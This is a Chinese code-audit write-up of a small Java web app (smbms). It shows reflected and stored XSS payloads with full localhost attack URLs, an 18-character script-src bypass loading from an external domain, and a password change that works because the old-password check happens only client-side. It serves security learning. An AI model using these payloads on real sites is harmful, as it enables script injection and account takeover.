https://github.com/wuxinyu3366/smbms
这是学狂神java的一个项目,也是边学java边学代码审计吧
项目功能点也比较少,而且sql语句采用了预编译,但是还是有些漏洞
全局搜索
<%=
发现在head.jsp处存在
这里很明显Referer处可控,会导致xss。所以在平常渗透测试中也可以fuzz这些地方
后台中很多都调用了这个head.jsp, 多处存在xss
找个点测试一下
"><ScRiPt>alert(1)</sCrIpT>
执行成功
全局搜索 getParameter
queryProductName为getParameter 获取的参数
BillServlet注册servlet的url路径为/jsp/bill.do
在billlist.jsp中调用的方法有/jsp/bill.do
然后打印到如下的 jsp 代码中
http://localhost:8080/jsp/bill.do?method=query&queryProductName=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FsCrIpT%3E&queryProviderId=0&queryIsPayment=0
全局搜索 getParameter
queryProCode、queryProName为getParameter 获取的参数
ProviderServlet注册servlet的url路径为/jsp/provider.do
在providerlist.jsp中调用的方法有/jsp/provider.do
然后打印到如下的 jsp 代码中
http://localhost:8080/jsp/provider.do?method=query&queryProCode=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FsCrIpT%3E&queryProName=
全局搜索 getParameter
queryname为getParameter 获取的参数
UserServlet注册servlet的url路径为/jsp/user.do
在providerlist.jsp中调用的方法有/jsp/provider.do
然后打印到如下的 jsp 代码中
http://localhost:8080/jsp/user.do?method=query&queryname=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FsCrIpT%3E&queryUserRole=0&pageIndex=1
全局搜索数据库的插入语句(关键词:insert,save,update),然后全局搜索该方法在哪里被调用,一层层的跟踪。直到 getParamter()方法获取请求参数的地方停止。
从getParamter 关键词开始 ,跟踪请求参数,直到插入数据库的语句,如果中间没有过滤参数,则存在存储型 XSS
保存之后,再点击供应商的详情直接触发了
这里肯定会奇怪我为什么没有插入到供应商编码或者供应商名称这些地方。这就跟数据库有关系了,虽然中间没有过滤参数,但是数据库有的地方定义的数字类型,字符串是不行的。
还有就是数据库中定义了字符串的长度为20,这就要使xss的语句小于20,但是常规的都是比它大的,这里就要绕过了。
参考这里
<script/src=//⑭.₨>,只有18个字符。其中₨代表印度卢比,这是1个字符,而不是2个字符,而⑭也是类似的效果。下面测试一下效果
每次刷新查询供应商界面的时候都会触发xss
后台密码修改处存在一个输入旧密码就能判断是否正确的功能
效果如下
实现这个是在js中利用了一段ajax去处理数据
然后旧密码,新密码,确认新密码这三段都为true,就可以执行修改密码的方法
既然这里前端认证,那这个旧密码完全就可以不用填写,直接写新密码就行了
直接构造修改密码的数据包
发现密码修改成功